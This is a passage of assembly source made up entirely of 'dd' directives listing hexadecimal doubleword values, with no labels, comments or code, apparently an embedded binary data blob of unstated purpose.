941A70E5h, 5C20C431h dd 0A1A48877h, 7CC12602h, 651F84C3h, 908B9214h, 0E9B4090Ch dd 4F9C600h, 5E2E1B10h, 98D5E21Dh, 4C8B21D8h, 987B6808h dd 0A1616980h, 17094FE4h, 4ACA60D7h, 8B7C4030h, 0B4EC24C1h dd 0F4060980h, 4348CC24h, 0C04FFB8Fh, 0EA14BED2h, 1270B056h dd 16C90690h, 6DDC0884h, 8A4BB264h, 94A71448h, 0D22F2B01h dd 86D3E6A5h, 6072CAE5h, 40595A58h, 2250070h, 0BA8C1C27h dd 8314C18h, 0EA4A9932h, 5937A83Dh, 38980959h, 0AF018444h dd 0EF123640h, 8FD054C4h, 0BE9A0004h, 0B4EAF660h, 7929B8A7h dd 0AF05B0F2h, 0DC4046A0h, 0C901F986h, 1E6D02FFh, 3CF60209h dd 0BC054155h, 4065F44Ch, 0F8028456h, 38C1A6DAh, 2CF268h dd 740710ABh, 6EFCC2F5h, 49B52015h, 1E860088h, 0AA8EADDEh dd 0D422501Dh, 2081415Dh, 8C8ABDBCh, 728FA14Bh, 1CBAE00Fh dd 4073A2A4h, 0A9215723h, 0A605804Eh, 504FF1FBh, 6B45DC44h dd 9380A408h, 950A860Bh, 406F0780h, 202F6383h, 0E861331Dh dd 0F1A24101h, 0EEA34A15h, 578CDCh, 7BD4EC88h, 0A0651033h dd 0C1EF607Bh, 31C69A7h, 2F0D2DDh, 67CBB0B4h, 86E900D0h dd 2CED3EC5h, 0D7038862h, 0C9E016ACh, 98C924A1h, 0C8C09098h dd 940A82Eh, 0C922BC19h, 0EC420C14h, 0B6E1EF00h, 0C9C41F5Bh dd 0DC338224h, 888E0838h, 5FA78055h, 17D8CF6h, 54B30912h dd 11295420h, 85B180EEh, 0A1E82E84h, 96D26204h, 44CFDF02h dd 26C50810h, 4900A781h, 6DBDF452h, 0ACB048F2h, 3E9547C0h dd 7D4C3961h, 90902148h, 18B88997h, 10016EB8h, 38B31A10h dd 786DB116h, 0B911A12Ch, 6C22A7h, 327A21AEh, 0B5405Ch dd 67A9BEC6h, 0A239CD8Eh, 0C3459899h, 3C50B404h, 3C856C22h dd 43C8A48Bh, 0F9B84800h, 2D5932BEh, 0B6B203AFh, 9CEDB5B4h dd 7871B0A2h, 69105100h, 0DF0A6078h, 0D3B28156h, 29ABEA03h dd 0FED50BCCh, 1C604E80h, 0BFB3BD0Ah, 20D7CC8Eh, 981F9EC4h dd 0FAF6010Ch, 0CBD52A09h, 0B2D860D2h, 0B94E7Eh, 0C50B4028h dd 990E615Eh, 6074D377h, 0B5F42B45h, 730E2494h, 4CF2453h dd 0F07D3467h, 4D425368h, 6999DC76h, 0AF003FA8h, 306D9C19h dd 0E90238E0h, 9DD40A22h, 336CB87Fh, 494E8081h, 0A09D8F44h dd 923EAADCh, 32AD44B8h, 1564D80Fh, 0F253808Ah, 4C8805h dd 0B6776579h, 1694DEF8h, 6CB50C2Ch, 948B2A8Eh, 21887CD8h dd 50CB1FA4h, 6D820C62h, 37F07D08h, 44ABE300h, 0E2BBBDDFh dd 0AE5B0397h, 0A7901972h, 28001C93h, 0AF8E6317h, 0C16CDE66h dd 78FF6210h, 210CF38Bh, 61069F21h, 971226BAh, 1AB50176h dd 830C862Eh, 0ABDD5371h, 262D8073h, 8B95001Dh, 0F07F8EA7h dd 1660996Dh, 0F4C35C29h, 911700E7h, 8BC8299Dh, 977678FCh dd 0A1C271C0h, 7C377D5h, 1E89CCFFh, 0E86EC61Ch, 886B08EDh dd 3424EBF8h, 5E1C84E2h, 0A005F70Eh, 425F7297h, 21300610h dd 39177EAEh, 0B06444h, 5EC98650h, 2BA2DD5Ah, 983FE201h dd 0CEC79ECAh, 1F0F2260h, 0C0C34F2Eh, 0C439DA4h, 23003167h dd 75950680h, 7658BB3Eh, 90243CCFh, 4B9A2A00h, 0B08F8D93h dd 0B5766401h, 1A43DC66h, 40FFB895h, 7A12300h, 344A9D61h dd 0DC0C0800h, 0F18373BFh, 239001DAh, 5678F3B2h, 228452D5h dd 895FA618h, 36D450AEh, 25FA6674h, 506C1C02h, 0AE28249Eh dd 82D341E8h, 98F3F6E4h, 751C949h, 96FB3CEEh, 0E1E7C06Dh dd 7AB897E3h, 0A5A910A3h, 0D080C692h, 0BE5E6B42h, 4B5590FAh dd 1D3C0064h, 88006C6Ah, 3B31898Bh, 882E2BD0h, 35E40E42h dd 807C613Eh, 0B2E516A1h, 19655773h, 0D8F82E70h, 44500C26h dd 7E91017h, 8ABD8CC0h, 0D2200E71h, 6820129Ah, 0C53D21D4h dd 808B5C3Bh, 7B6E6C37h, 0DD66906Dh, 21960C39h, 19498089h dd 5463001Ch, 0E86B46FCh, 0D1D16F64h, 6DBF029Dh, 5444860Eh dd 0ABCD5F00h, 2583D109h, 6D882478h, 8E9250h, 31BCC630h dd 5D604D10h, 5443B119h, 0F511070Bh, 37924C41h, 212446ACh dd 0A8DC5E00h, 76B82AA9h, 66641ECEh, 417CB0E9h, 0EC031FF3h dd 91D3F7CAh, 0A5CDA0CBh, 2A7718C9h, 8597C972h, 39305100h dd 9DFB8913h, 0E32E02A2h, 83DACF5h, 78839C42h, 0D90915F3h dd 2292841Dh, 1123AE20h, 95B4504Ah, 2F529710h, 0DF2294h dd 0E7A6E199h, 9410A49Bh, 35A0A54Ah, 148B015Dh, 7A6E7113h dd 4900CB87h, 0FCDE1940h, 1C09D243h, 1520EEAh, 0DEC42A6h dd 2216DDEFh, 0F72302F8h dd 203317B9h, 0AA49F996h, 79CBA00h, 0A2669801h, 725E0092h dd 40AF2CCh, 5EEA05Dh, 0DCF6E919h, 0C0BB2D1h, 5926081Dh dd 3DEA2412h, 2B610742h, 0A34E10D5h, 0BEF6A8FAh, 479BE301h dd 0DE7368E7h, 485578D4h, 241428F8h, 88427040h, 0E84B8515h dd 39652700h, 0B7DDE140h, 0A49DA326h, 4A89F86Ah, 0AFA4903Bh dd 77AA129Dh, 7A982083h, 0DE018C35h, 0B189532Fh, 842459FEh dd 6C422260h, 0D15FBD30h, 0EBA249Dh, 0DE5DD8EBh, 0BBE401B3h dd 201973DDh, 62400AC4h, 244A0767h, 23C3E95Dh, 1974144Ch dd 6090F171h, 517A5480h, 0F0C9900h, 9767153Fh, 3F9092F7h dd 0C32491FFh, 61E1270h, 6C6710E0h, 6380D1C5h, 3206B449h dd 5A9C6140h, 0D027180h, 0EAA30474h, 1BA7080Eh, 5BAF4206h dd 53A3C118h, 332D1320h, 62914F24h, 7B3298E8h, 61678730h dd 45C2D5h, 0AD3ACB71h, 50128E4Dh, 91335C00h, 0D4997361h dd 0CD9309B0h, 419F289h, 789C51A9h, 36062E3h, 0C64F997Bh dd 50F03208h, 8810A328h, 933CB114h, 11FC18C4h, 3F00CCA0h dd 0EDA89686h, 0F0D9D04Fh, 1BAC0691h, 58C33002h, 94165028h dd 69AB58C6h, 0B0DC80C1h, 4C501EAh, 750B64E2h, 0FB0622Bh dd 0C0517352h, 6F321AADh, 85911E5Bh, 43C9348h, 8BB3FC4h dd 324B7194h, 74C04C08h, 1EE3E18Bh, 999A19BEh, 0F004F1CCh dd 0A8804DF4h, 2B563080h, 948C8369h, 0ECD4816h, 2288E811h dd 66A0E821h, 2891311Bh, 3C06A324h, 768B2831h, 798E2B13h dd 9DB16B01h, 8B5F4FDBh, 0A16F5AC0h, 2440A5CCh, 0C13A2592h dd 0D54791D1h, 0B4213Fh, 76AA354Ch, 3446A12Eh, 440B0D08h dd 748050FAh, 48309789h, 6EADA140h, 63C0F463h, 1B25BEE6h dd 0EB6E000h, 0B1C76F5Eh, 0BFEF485Bh, 4A566902h, 0B498A7AAh dd 5B58B366h, 91C52100h, 63F44055h, 5A3F0F84h, 9D24F5D1h dd 0A3D0916Dh, 80E0427Bh, 83006844h, 24F55C3Dh, 3F06360h dd 0A62584CCh, 0D9889C16h, 5600B6A4h, 5D81A968h, 0C166E6h dd 196384DCh, 3A9164E3h, 0BC0980E2h, 490605Eh, 5531C27Ch dd 22881117h, 0E42B12h, 2D373Eh, 0CE4AC935h, 2999C0h, 2098AD8Ch dd 0CD4EA26Eh, 0A0DF4380h, 208390F0h, 6E006265h, 4931B057h dd 2C7950h, 0DF3D5CE7h, 6F088E3h, 12263F75h, 2242F066h dd 1C30618Eh, 1A40450Ch, 0F4FD552Eh, 3ADDB030h, 2D8F8BABh dd 19F88226h, 4D00BFADh, 10FA6B8Dh, 13902AFh, 691C6D05h dd 0D4B412AAh, 3A5186FEh, 8D0E9D0h, 0C21E40D3h, 76939B19h dd 1E23B60h, 225D8A78h, 9FC28058h, 24D4FCA6h, 6A0081A3h dd 2B5C06F9h, 0A6012925h, 0D7A7FC36h, 78907EE0h, 4FBEC855h dd 0AA41C040h, 0E216B254h, 2804FF23h, 87010CC4h, 33E078FEh dd 2104C38h, 0AA388994h, 0A948E574h, 673B81D8h, 0FD61933Ch dd 0F899F491h, 0CB4C98A8h, 639E81C0h, 1ADAFC1h, 0F961545Ah dd 404C2587h, 99671ACCh, 98D12461h, 0BA834181h, 0F3DB951Bh dd 64F929D1h, 122E74ACh, 0A51C871h, 0C49EA317h, 0ABDF0F88h dd 84107C28h, 0FE00E086h, 40421A21h, 1D1595h, 0B25BD22Fh dd 7F992B71h, 8791410Ch, 332D912h, 0DFA3427h, 65E3CB5Bh dd 0D4FB7150h, 0A2C61601h, 53238BF1h, 0FAA7BC41h, 6488E852h dd 87C22E78h, 96B40F0h, 0EC02D34Bh, 0A8A372FCh, 0E600C874h dd 88C830Eh, 1D97B0h, 0B454AD3Bh, 9600F3FCh, 19F056B8h dd 0A83A2A30h, 390C6198h, 0DC80440Bh, 0CFAAB98Ch, 7B0748D9h dd 0AD832A15h, 0F061A080h, 0DD662EBAh, 0B804300h, 2A0C9907h dd 56D0B34Ah, 3D43EC13h, 889CA1A2h, 7F408F7Ch, 400B3EA9h dd 4B6C6018h, 0A846EC1Dh, 270534E6h, 508055E6h, 98F27476h dd 7A20431h, 0C889ABC4h, 0B0548B54h, 0C490878Ch, 330D3421h dd 982A50D8h, 1B07B416h, 0E5FA8C1Eh, 0A1777300h, 5FE158A8h dd 370EE00h, 80596402h, 2443F924h, 38200892h, 0EBD7B9h dd 0D2C75663h, 5F6D8758h, 3280A094h, 95D578E3h, 10BAFE6Ch dd 506D2A3Fh, 8B00B661h, 2B011CB8h, 97F7CA1h, 601503C3h dd 0B5752D80h, 357468DAh, 80063CF0h, 0E26518B4h, 1F7541h dd 94A066BCh, 73A12132h, 598219C6h, 58F30081h, 0B7C452BFh dd 8A1FDDC1h, 74405344h, 6E98C78Eh, 56490995h, 9CA2818Bh dd 0C202185Fh, 5C24A0E9h, 132C7BE1h, 0EFB1FBB0h, 0CC870900h dd 18DAD98h, 9C7CF46Dh, 304C313Eh, 275D6BFBh, 229E08E8h dd 50C3887Dh, 0AEECE38Fh, 38A41E20h, 0F6994900h, 242B3919h dd 98907D89h, 8398D164h, 5AE4F500h, 89B1CD8Ch, 0EBA73E43h dd 2FB7A3Fh, 0B5971D41h, 94C9B4ADh, 5277101Eh, 83DC91BDh dd 865EDF7Fh, 1B2079EEh, 2130004Ah, 5112DAD6h, 4C07BB8Eh dd 422A8152h, 960A6C3h, 5F957889h, 8C18A0A9h, 1B006650h dd 0EC9ED8AEh, 42EDABC5h, 2CF722D3h, 6198AA21h, 0DB4E6B57h dd 0B46EDDB8h, 9E97E03Dh, 94823E5Ch, 841BD979h, 34403A34h dd 53471228h, 0AB63B00h, 0AEF196BFh, 0F9FD0098h, 7A573241h dd 0AD5C878Fh, 799D062Ch, 6492C97h, 4CB1F5C2h, 87991CAh dd 36E04500h, 0C35C35D4h, 6CFD2A6Dh, 0FC148894h, 2C74D8h dd 4BA46A9h, 28D5A065h, 0AA1D903h, 0FD6A9CB4h, 1695EC20h dd 190C09BCh, 70908014h, 551C57ABh, 80FBF987h, 6097A4FFh dd 76D145h, 3E4BE96Dh, 4A651C8h, 0E2F0E501h, 970E66B1h dd 7700703Dh, 0BB94ACDCh, 0A80076A0h, 8321C312h, 0B10C9710h dd 665C08ACh, 20DE1ABAh, 1F8CCC0h, 0C3B7E899h, 0F20308EAh dd 0DFABF0A2h, 0A1676083h, 0D100F978h, 72DEA441h, 2782FBAh dd 7A02A6DDh, 0A840C235h, 215CAB2Ah, 19A0344Ch, 550908E2h dd 0C80083E5h, 0F94E297Ch, 0EC2124h, 0A0190862h, 0CF2B18CCh dd 0FFE00F27h, 0A1A03256h, 0DB4B3021h, 0F49AE278h, 2B18EC50h dd 20386CA1h, 3D3E32D6h, 73278045h, 2B462E86h, 98CAED19h dd 0C1C8C0h, 28F6670h, 4C649EE9h, 7A22C890h, 0D6BA1E14h dd 8E003F6Eh, 1CB928FFh, 26074CFAh, 14675F5Ah, 33064BF0h dd 99980C71h, 77185BD0h, 3B5E2100h, 0A381E369h, 0FBFC00C6h dd 4883A74Eh, 770054AEh, 174CDA2Bh, 0E48798h, 0C162762h dd 5F1B0381h, 4665E300h, 7835CDB7h, 0B091EEh, 2FF8D6C2h dd 80A16D3Bh, 0F4C31062h, 0B672045Ch, 0C20BD299h, 6511677Ch dd 0F1C28410h, 51233700h, 0DE611A6Ah, 674F3C8Dh, 24351600h dd 2EE70764h, 0BE5C7700h, 789FE45Eh, 3EB70189h, 0BFD595DCh dd 9860E0A0h, 0E59E8000h, 0E7ECA655h, 0EA9A00F0h, 0B604DEFDh dd 1F008B9Ch, 9741ADCCh, 7C5F6242h, 521C1614h, 0E3D80A48h dd 0B59561E4h, 518E001Eh, 0A810168Fh, 2E4843E7h, 0C1296397h dd 0BD00844Ch, 270C76C1h, 6FE0F0h, 125BC953h, 1F839B43h dd 4A982B58h, 0BA11D821h, 5386F0h, 882DE1BFh, 15CBBB56h dd 4793B509h, 0D874EB2Bh, 0E6DB6792h, 9D413E39h, 820CDE80h dd 141C1AC0h, 935CE504h, 21024738h, 1D206FAEh, 0B1873985h dd 2ECE00A0h, 434A3423h, 64C75003h, 0A0B84B78h, 17FC33DEh dd 95D855Eh, 278E3F0Ch, 7790AE80h, 6C917263h, 1AA36202h dd 167C405Dh, 4D1D8014h, 597B6CA0h, 0EC50931Dh, 0ADFB9600h dd 43D0810h, 19A8AF0Ah, 754F2C3h, 6B9E3CC0h, 0A0CA31F3h dd 365AE29h, 0BEFCF853h, 0D011771Eh, 78096799h, 0B014182Fh dd 0A1AE5F00h, 0C40D990h, 374A2489h, 13A06EDCh, 2B0F49FFh dd 0E516A80Bh dd 0D8749387h, 0EA2E1015h, 5C550043h, 91A0FCAEh, 3F03DB4Ah dd 2290DD07h, 0C0D7E5ABh, 0F12B3AD1h, 0F6940424h, 0F93E12F3h dd 9DCA0079h, 0CD951225h, 16EC284Ch, 6821936Dh, 78688777h dd 47137A3Ah, 87C48708h, 50E5D0E3h, 78001EC6h, 0E2FF8A56h dd 6026D484h, 0EEF3586Ch, 3E29DAF4h, 6780B415h, 0BCC7C2A3h dd 0E22F0019h, 0B29D85B3h, 840456CCh, 1B69916Eh, 0B964A480h dd 30EF0192h, 0ABDD38BAh, 87422E3h, 861F622Fh, 990A97A7h dd 0F8946729h, 5E18B4A6h, 21EC11h, 75C4A525h, 6BC0D0Bh dd 0E38C4200h, 97117C5Ch, 387B6176h, 945B5F2Eh, 15C4C61h dd 4FDE2CCDh, 8BF0FC40h, 3B4A00CEh, 38A496F5h, 0F400C2DFh dd 55A771Fh, 4FCA15Dh, 0D3AC4F99h, 0F15CF431h, 23B688h dd 0A127EBD8h, 283F94E3h, 13F09139h, 3CD44A10h, 0FBB08Ch dd 0E5358BD6h, 0B9C07A5Ah, 5F0034E2h, 9147571Bh, 3C37C58h dd 4B3D1FEFh, 9092AC66h, 8039E071h, 75E55C4h, 185BF601h dd 186AF083h, 953EC774h, 0D8060519h, 0D483BBC8h, 8FDDE9E8h dd 6E3B24DCh, 0AFC2492Ah, 407F812Dh, 0CF17FB8h, 0F701471Bh dd 0DA134690h, 900833h, 91E68Ch, 0FD6E527Bh, 0FCB2F19Bh dd 6D2F7576h, 2B549094h, 97CBE22h, 509041FFh, 0BF000C01h dd 674EA103h, 11054Bh, 0DCECAEDBh, 2881B39Ch, 0C11F0F09h dd 1D3400FCh, 2153F79h, 5D04C230h, 5C4809BEh, 0C1C0292Bh dd 0F0239EDAh, 0B28D0018h, 3C418352h, 2EE24CBFh, 69D4BA01h dd 6D87FCCCh, 1967D450h, 717A13h, 9F837F03h, 74DA6528h dd 0E7415F00h, 698AB254h, 11E0317Ah, 39F321F9h, 0E2920130h dd 0B6913EAFh, 0C2DBFFE9h, 0A680C01Ch, 8754B424h, 70D48B67h dd 0DECFCA53h, 83F7B900h, 63DBC1ADh, 866D1622h, 4FC53D3h dd 928D688h, 0B0868C70h, 505F59A7h, 0F24D5DC0h, 0F00001CEh dd 3ECF96E1h, 3085E63h, 67032418h, 804A3699h, 0A3A15431h dd 0EAA77AF8h, 9E23009Bh, 2DF6EA32h, 0D332A6BCh, 469904B6h dd 0C2090AB8h, 40E8F86Dh, 8F644966h, 2D2B7609h, 0FE288727h dd 1D849620h, 29CF2D5h, 0F7F35EFFh, 94607BA3h, 25847AA6h dd 884528E0h, 5F11682Ch, 0F9574100h, 5D795C80h, 0BA386A00h dd 9EB00552h, 69E800C9h, 4E8A3E98h, 744C592Eh, 75931928h dd 9A100C50h, 4F1784EEh, 30000881h, 5F5D3031h, 0BC882C7Ah dd 262B8AA0h, 0E8218090h, 3642586h, 9473DD05h, 8B21C83h dd 302E1440h, 771915F8h, 0E85EF5C3h, 0A18C1020h, 96AB396Ah dd 0B301796h, 0A44E2A28h, 63955A00h, 3BF9D16Eh, 47E409D5h dd 3F80048Ah, 0A5A682FEh, 0E05EEF26h, 48207B64h, 889C5014h dd 0CAE3DC60h, 4B07406h, 23BF89C1h, 3AB38093h, 5C35CEDDh dd 0ECE0EA7Bh, 3582E87h, 566563D8h, 0B1590802h, 44ED2174h dd 0EC95126Ch, 970490DFh, 106F84E3h, 88276A49h, 2A2E329Eh dd 0A1F18101h, 0EA9DF814h, 0BA600E58h, 479474A0h, 0D00AAFDh dd 0A8881CA5h, 2C9F930Ch, 8BE33E83h, 0D013104Ch, 0E10C95E0h dd 701D8CE6h, 6CC141F2h, 0E91AA42h, 1783A5FCh, 0DFEF308h dd 0E4391784h, 6B0007D7h, 0F9949FC3h, 0EA7A355Fh, 0B9A500E9h dd 38401B0Ah, 8A070D0h, 0FB69CC98h, 3E80A029h, 18CA8530h dd 592517B9h, 9900F9A6h, 0A9BC86FFh, 0BF8144h, 0AF169F1Eh dd 0A8F59AC2h, 0D9D0D200h, 64624E2Bh, 9DFAF7h, 4CBADE10h dd 4229A222h, 16607B4Ch, 9409EDB8h, 8F58005Ch, 0A5AE368h dd 0BCF90B70h, 4B1603E4h, 54A04999h, 0A109CF10h, 206F8221h dd 9FA3761Ch, 495E0F3Ah, 5620E68Fh, 0CD4BED8Dh, 88BD9617h dd 0C07BB422h, 597E4298h, 6000E436h, 55FDD423h, 0E02DE2A3h dd 53B082F7h, 0A19400BCh, 9F1B71ECh, 0D2710BD1h, 480CC47Ah dd 6F186CA6h, 0F47408A0h, 0E3E9E209h, 94DC6864h, 0A6160C4Fh dd 1228B4C2h, 0F30D8FE8h, 0F9EE5C5Eh, 552FEF8h, 4D46BDA8h dd 0D4E0204Ch, 2E026F5h, 0ED04E4B4h, 0EC804674h, 4301B6Fh dd 0B2DDD008h, 0E000A165h, 590B7C9Fh, 8B400E58h, 8C10408Dh dd 0E921813Eh, 22BC226Bh, 4B490061h, 44E11413h, 2174B666h dd 19106F1Fh, 4A948B03h, 0E3911416h, 90076C53h, 0A702B601h dd 5B6D410Bh, 7751977Ch, 0EB044C8h, 0F8E8A0A5h, 0D2103A00h dd 400132Ah, 6A9F32F0h, 520FD939h, 9B49CC3h, 389024B0h dd 5D00A4CFh, 76A70B65h, 1CB1AE9Fh, 831D3780h, 57AF31B5h dd 9A35ABB0h, 0B76A9C07h, 3047A5BEh, 15DC2180h, 642001C9h dd 7291DD14h, 0F829803Bh, 6C4D4F23h, 348800B7h, 0AD20B4D7h dd 0BA3FED8Ah, 9D2C1861h, 139948h, 24C87D50h, 0F4A0EE1Ah dd 61FDD00h, 4F2FC0BAh, 0AC6818EDh, 9F30588Dh, 80272937h dd 38007785h, 76B10D2Bh, 18E51432h, 0AF3C584Ch, 4138B985h dd 7C5C00B3h, 80DCD089h, 0E497560h, 22F829h, 84E5FB20h dd 7BE6BC0Bh, 6C736600h, 878E9267h, 0F0565C75h, 1DA71501h dd 41A42791h, 80834F34h, 84140DA1h, 58C1F3h, 0AE1D1C74h dd 8E929DCh, 1F0006E2h, 0FDC0B243h, 342161BEh, 0C699D57Bh dd 890F9179h, 802FA2E3h, 6F24DC29h, 4EBB1D70h, 63C500D2h dd 199636A4h, 0BCFC9F00h, 9A297DB8h, 89E608A9h, 371D9D3Eh dd 110E0020h, 2EC19E7Ah, 0EA677CE5h, 0B1FC4F78h, 0DD9A1E8Bh dd 0E594803Ah, 3706D482h, 15EE2600h, 1CB40D77h, 501E7AC5h dd 0AB5080h, 3495A666h, 0B7288E4Eh, 0BC40D71Ch, 11FB6800h dd 33CA88Dh, 9D70DC64h, 391D3D36h, 1780B98Ah, 0D2E0935Eh dd 1A7A0773h, 50D08E5Ch, 0B615E119h, 0B8AA10Fh, 0EF504035h dd 288910D8h, 1044B136h, 52BA8AAh, 0A9B7216Ah, 232DA022h dd 0BFD8E918h, 1A00615Ah, 1B6D8BF6h, 54E0E520h, 4405BCF8h dd 0A828A9AEh, 99FE283Bh, 1BB84484h, 0F904E407h, 0ACDA74E9h dd 6680B380h, 0B9FAA9h, 0B89AAF3Eh, 4DBCE01Eh, 1B09C572h dd 4AD793Dh, 3580E540h, 7AC84EA4h, 0C0777B11h, 4DCE4F71h dd 9871960Fh, 0E3F2D800h, 5E452A7Dh, 33A0053h, 0C2198F4Fh dd 41EEA53Ch, 0A1B71F30h, 0F248E97Ch, 0D726066Bh, 180EB019h dd 140C2F0Eh, 1069AC6Ch, 0DC7200AFh, 71687DD1h, 0B8A17AFAh dd 213E04Dh, 8DE430A0h, 0B741343Ch, 28C5395Fh, 0C01F804Eh dd 0A2B82696h, 0B31C3E27h, 0DD190580h, 69A18880h, 8C2FAC2Ah dd 0E1AA3A0Ch, 9148E131h, 7607018Ch, 70B51654h, 4A00F6E6h dd 0F3E067Bh, 0EC2F212Ah, 0B98E0173h, 31AD243Ch, 0D104208Bh dd 0B7D99E03h, 159A7832h, 2C8F87F9h, 54022800h, 0BBA81A53h dd 6590B307h, 7EB02BF3h, 1FFF9DC8h, 0DB0EAE2h, 59D161BDh dd 0F8EB2190h, 28E0415Bh, 0FF804C99h, 6BB97174h, 67E004Bh dd 0B689E3DEh, 0E9EBFC29h, 6FE1C4D3h, 845EC83Fh, 7A9D19D0h dd 0DB300E12h, 90EFA7C7h, 865B16FFh, 0E917DA00h, 89F3124Eh dd 970435EAh, 0BE283220h, 13B88A02h, 9FF948B1h, 8E3F3321h dd 0E7F5062Ch, 0B4F119CDh, 1D10F849h, 313DE979h, 1E458B0h dd 3F0ABB39h, 9C50ADA2h, 0F314B0Eh, 0F6D59853h, 3F3D0421h dd 3FBC47CFh, 27010AB7h, 43089D90h, 92FB443Ch, 0AB50F090h dd 0F9C8D400h, 1B133D60h, 53D0C068h, 0C28E6925h, 6431D5E1h dd 0A413191Ch, 4C04A09Dh, 28935EA5h, 67EFD810h, 77F500EAh dd 0E20947D1h, 0F13DF34h, 3004C0h, 0C43DA869h, 8C44B2D9h dd 7A1EB8DCh, 402C6AEh, 9870E9FDh, 2065DCA0h, 4EE49AA9h dd 333FC912h, 0C2022400h dd 98CA8860h, 0D584A320h, 64A29C22h, 0C14A0020h, 16B2C2BEh dd 8607BAC0h, 5F3B8146h, 9519A760h, 4E7058Fh, 0F77E9F8h dd 6669BD3Ch, 25E12C20h, 5600709Eh, 0E37C977Dh, 266FEBB0h dd 40B849FAh, 18DD3D23h, 5BB12400h, 438805BDh, 5A310079h dd 78D4C30Dh, 0C4AB2E76h, 0DA34C0FFh, 251EE00Ch, 803CA9C5h dd 64990463h, 0F89F297Ch, 0A1B892C8h, 8211FB18h, 0BEDFE0CDh dd 2DB9C904h, 90C8A547h, 8B0E0022h, 2967AA2h, 0F100B7A7h dd 0AC1D78E8h, 0C1BAFB1h, 64803211h, 391EC831h, 0E753A449h dd 5A62BE00h, 3973573h, 68EA4D4Ch, 793A3CBAh, 0B8B32456h dd 0B7792141h, 9E09BC66h, 0F88EB9D1h, 8CD03E8Ah, 9FF12077h dd 6992D03h, 0C5D7289Bh, 83DA80ABh, 10209A8h, 22A759CBh dd 90A0C455h, 71451849h, 0B6E4125h, 6B880700h, 5AD601B4h dd 752B007Fh, 0C48BF964h, 2238F5EFh, 786189AEh, 19580B69h dd 4D4E804h, 89D50020h, 122F5A5Eh, 730008C3h, 0CEAC5D99h dd 9CCCB06h, 916FE702h, 9D4E9C80h, 3A747A10h, 742DE9C0h dd 65E5B014h, 775965h, 0BD947250h, 0F8F6EBB2h, 2DCD0D00h dd 0F7370851h, 3DD0E7A5h, 701800C0h, 0E407995Ch, 651EA268h dd 15C0322Ah, 3A6B911h, 5322F637h, 8A09340Ch, 0E0966632h dd 0AF42E500h, 46DCBF2Eh, 0F01003A6h, 0BB647CB4h, 24404CB2h dd 0C1CFA2A5h, 331A47EAh, 0E6208540h, 0AA905D8h, 2239217Bh dd 9D2029D8h, 0AF4B0Bh, 9452A3F3h, 3CF5C1E0h, 5B93D70Eh dd 9895C3DEh, 1831D822h, 78DCF2D8h, 7FD1005Fh, 0DA0B5D92h dd 0D000C828h, 17577D58h, 0AB18D7h, 0A07CADA3h, 33C64DFBh dd 1CDC163Eh, 7147BDF2h, 6B511E10h, 0A6DC691Dh, 0DE6001EEh dd 0A9FD3591h, 9698648Eh, 0B86EF00h, 0CABC4AFFh, 0B734007Dh dd 9D32ECBFh, 0EE0F732Ah, 60925B6Bh, 5520DD24h, 2C3148D0h dd 0FFBC0074h, 784A134Fh, 4400F968h, 4EB9E47Dh, 5066EA5Fh dd 2AB8809Ch, 9CB5A4h, 5ABACF36h, 648A3EF8h, 75A35B00h dd 11D98450h, 2A8702F2h, 0DA18CA1Dh, 0BDFC807Dh, 0C1C0B132h dd 0B5E7C41h, 0E43430C3h, 29601907h, 0EEC3E3FFh, 465D88C4h dd 4C023987h, 0C460412Eh, 11B332E9h, 0AD207075h, 0DE6B3400h dd 134880BCh, 0E91B00A0h, 0F01E1F4Ch, 70E7A72Bh, 657E376Ch dd 86D828C0h, 702489Bh, 986F4E51h, 449EC1B4h, 4C342252h dd 778D0C70h, 60792Dh, 5A372191h, 6E52EBA2h, 10FC710Ah dd 0FA6090D0h, 72958h, 4C21D37Ah, 0C622CD9Eh, 89696E00h dd 67CC6D14h, 2C4AEF2h, 32F78DB1h, 9491A7B0h, 89589E8Eh dd 5F09C0A4h, 4F9890AFh, 44993Eh, 4CC32B46h, 710CA9FCh dd 0C1338031h, 0ADC912E0h, 0B5F900B3h, 71D8454Bh, 36A1AC05h dd 148838B1h, 59266076h, 1331BC5h, 804E4D38h, 47B4114h dd 1F616411h, 96B8D7EBh, 332C08E6h, 442ED48Fh, 7AC2B2D0h dd 6F6CC00Eh, 4DBE2621h, 0EFB480ACh, 88C35983h, 239F8F09h dd 69E4A2B0h, 37785AA9h, 40F9ADA5h, 1321ACF1h, 0FD193200h dd 7A5D9D95h, 24584B72h, 13BE80D0h, 984CD599h, 0B1EB180Fh dd 30897A11h, 0C6598148h, 0A700434Eh, 0D2677586h, 845CE7h dd 10FF57Eh, 84448A2h, 0E326327Eh, 1DC7788Eh, 45B09C27h dd 28A03B0Eh, 4C08A61Ch, 72C08475h, 4CAB801Dh, 7908A064h dd 55AAA482h, 70406500h, 0BD4BB08Eh, 7C2FCC40h, 2806214h dd 90CAB952h, 0A8A38277h, 0B9009F4Fh, 0D7C1C686h, 0F02C9E4h dd 0B4D0C49Bh, 0D280C802h, 0F063A0A7h, 1F943343h, 38366E0Ah dd 0DC4234B7h, 1D888015h, 26CE0h, 99BD0A36h, 0E279DF1Fh dd 5041263Ah, 0F21E9F64h, 21276F88h, 89AE6928h, 723A9181h dd 83804F21h, 606D9A11h, 13B8983Bh, 0FFA503CEh, 0C5BC51Eh dd 1AD08CF3h, 0D3094DBAh, 20BC5D26h, 189F3774h, 69C1C34Ch dd 811CFFB7h, 0E7C3CF3Ah, 0C8E96BD4h, 4C1D7D4Eh, 6F30BEE6h dd 2AAEA0D1h, 75EFB917h, 1AB24C20h, 0CA8E0F5Dh, 607961B8h dd 44B508DDh, 0AC60A5FBh, 0DD09A6B9h, 43C000F5h, 8501931h dd 0F0E2AAEBh, 0D77F8700h, 44644B7h, 0E27ADAh, 0F3D87685h dd 2D6A62FEh, 11360630h, 709ABDh, 0CF5468EEh, 7DBA1057h dd 59B6DD05h, 6F868EE1h, 0D8750328h, 7C2763C7h, 0DD5280CFh dd 7E6156FFh, 0A6117A49h, 0FA0AB0E8h, 0BD180141h, 0F09A0449h dd 7C204014h, 0F174891Ch, 38C3D9F6h, 1D535474h, 0C32BCE21h dd 0AAF5D463h, 35070806h, 21E9F7h, 8B1B3E69h, 817B2FCAh dd 0F86B0BEEh, 211C0181h, 0D3F0DAB7h, 19796047h, 0F1158395h dd 29D07233h, 0BDC8806Bh, 0FB7474h, 0F1B35578h, 44CB619Bh dd 0F5F368C3h, 0CCE01CB0h, 39DCCA53h, 1FFA0628h, 17F2915Ah dd 0CB85D90Ch, 1FCC390Eh, 0C05D97EDh, 0F48DD3E4h, 0C0067EBh dd 9B347837h, 1DA95E9h, 0A787FB60h, 0F89AF514h, 